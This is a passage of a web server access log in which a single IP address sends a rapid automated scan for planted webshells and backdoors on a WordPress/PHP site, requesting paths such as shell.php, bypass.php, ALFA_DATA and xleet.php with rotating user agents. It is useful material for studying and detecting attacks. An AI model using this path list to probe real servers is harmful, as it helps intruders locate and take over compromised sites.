194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:29 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:30 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:31 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:32 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:33 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:34 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:35 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:36 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:37 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:38 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:39 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:40 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:41 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:42 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 